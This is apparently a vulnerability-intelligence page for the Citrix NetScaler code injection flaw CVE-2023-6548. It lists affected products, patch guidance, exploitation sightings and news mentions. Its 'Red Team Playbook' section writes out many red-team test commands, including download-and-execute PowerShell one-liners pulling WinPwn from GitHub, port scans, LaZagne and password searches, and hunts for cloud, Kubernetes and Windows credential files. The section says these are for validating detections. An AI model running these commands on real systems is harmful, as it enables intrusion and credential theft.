CVE-2023-6548
Overview
This vulnerability is a code injection flaw caused by improper control over code generation within the management interface of the NetScaler ADC and NetScaler Gateway. The root cause lies in insufficient validation of inputs accessible via NSIP, CLIP, or SNIP interfaces, which allows low-privileged authenticated users to inject and execute arbitrary code. The affected components are the management interfaces of NetScaler ADC and Gateway appliances, specifically those handling requests from network IPs with management access.
Vulnerability Description
Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on Management Interface.
Impact
An attacker with low-privileged authenticated access to the management interface can execute arbitrary code remotely, potentially gaining control over the affected NetScaler ADC or Gateway device. This can lead to unauthorized command execution, data exposure, and full compromise of the management plane. The prerequisite is possession of credentials or access to an account with management interface privileges, which could be obtained through credential theft or insider threat. The business impact includes disruption of application delivery services and potential lateral movement within the network.
Solution
Citrix has released a security bulletin (CTX584986) addressing this vulnerability for NetScaler ADC and NetScaler Gateway. Administrators should apply the patches provided in this advisory promptly. The bulletin details fixed versions and recommended upgrade paths for affected NetScaler ADC and Gateway appliances, including FIPS and NDC++ variants. Refer to the Citrix support article at https://support.citrix.com/article/CTX584986 for detailed patching instructions and version-specific remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
12 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 21 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (21)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social mastodon.social @117220305180524647 2026-11-15 08:50 UTCCYBERTOP AI agents analyzed CVE-2023-6548: Citrix NetScaler ADC & Gateway code injection vulnerability actively exploited. Patch ASAP to mitigate risk. Link: https:// cybertop.ai/t/cve-2023-6548-ci trix-netscaler-adc-and-netscaler-gateway-…Open source
-
news morphisec.com 2025-09-19 07:00 UTCThe Top Exploited Vulnerabilities Leading to Ransomware in 2025 — and How to Stay Ahead - MorphisecOpen source
-
news bleepingcomputer.com 2024-05-09 07:00 UTCCitrix warns admins to manually mitigate PuTTY SSH client bug - BleepingComputerOpen source
-
news arcticwolf.com 2024-02-07 08:00 UTCPRC State-Sponsored Threat Actors (Volt Typhoon) Target Critical Infrastructure Entities - Arctic WolfOpen source
-
news kroll.com 2024-01-19 08:00 UTCTwo Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC and NetScaler Gateway - KrollOpen source
-
social bsky.app @youranonriots.bsky.social 2024-01-18 20:56 UTCMore Zero-Days !!! ✅ Citrix fixes critical RCE flaws (CVE-2023-6548, CVE-2023-6549) exploited in wild. ✅ VMware Aria Automation bug (CVE-2023-34063) allows attacker control. ✅ Atlassian issues fixes for 24+ flaws, including RCE. Patch, Upd…Open source
-
social bsky.app @j0hnb3r00t.bsky.social 2024-01-18 09:42 UTCCVE-2023-6548 and CVE-2023-6549 #citrixOpen source
-
social bsky.app @plessinger.com 2024-01-18 08:07 UTCI am so sick to death of Citrix NetScaler vulnerabilities. ...patch'em if you got'em.Open source
-
news darkreading.com 2024-01-18 08:00 UTCCitrix Discovers Two Vulnerabilities, Both Exploited in the Wild - Dark ReadingOpen source
-
social bsky.app @jbhall56.bsky.social 2024-01-17 13:12 UTCGot Citrix, VMware or Atlassian in-house? Patch it up! thehackernews.com/2024/01/citr...Open source
-
social bsky.app @nicferr.bsky.social 2024-01-17 09:05 UTCOpen source
-
social bsky.app @infosec.skyfleet.blue 2024-01-17 08:45 UTCCitrix patches actively exploited issues in Netscaler ADC and GatewayOpen source
-
social bsky.app @governa.lol 2024-01-17 08:23 UTC#Citrix, #VMware, and #Atlassian Hit with Critical Flaws — Patch ASAP! ⚠️ thehackernews.com/2024/01/citr...Open source
-
news fieldeffect.com 2024-01-17 08:00 UTCActive exploitation of two Citrix zero-day vulnerabilities - Field EffectOpen source
-
news bleepingcomputer.com 2024-01-17 08:00 UTCCISA pushes federal agencies to patch Citrix RCE within a week - BleepingComputerOpen source
-
social bsky.app @infosec.skyfleet.blue 2024-01-17 04:55 UTCCitrix, VMware, and Atlassian Hit with Critical Flaws — Patch ASAP!Open source
-
social bsky.app @techit.bsky.social 2024-01-17 04:55 UTCCitrix, VMware, and Atlassian Hit with Critical Flaws — Patch ASAP! #thehackersnewsOpen source
-
social bsky.app @etguenni.bsky.social 2024-01-16 14:07 UTCPatch your Citrix Netscaler ADC and Gateway borncity.com/win/2024/01/...Open source
-
social bsky.app @etguenni.bsky.social 2024-01-16 13:46 UTC#Citrix Netscaler ADC oder Gateway am Start? Dann ist patchen angesagt. www.borncity.com/blog/2024/01...Open source
-
news arcticwolf.com 2024-01-16 08:00 UTCCVE-2023-6548 and CVE-2023-6549 - Arctic WolfOpen source
-
news bleepingcomputer.com 2024-01-16 08:00 UTCCitrix warns of new Netscaler zero-days exploited in attacks - BleepingComputerOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6548 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-6548 |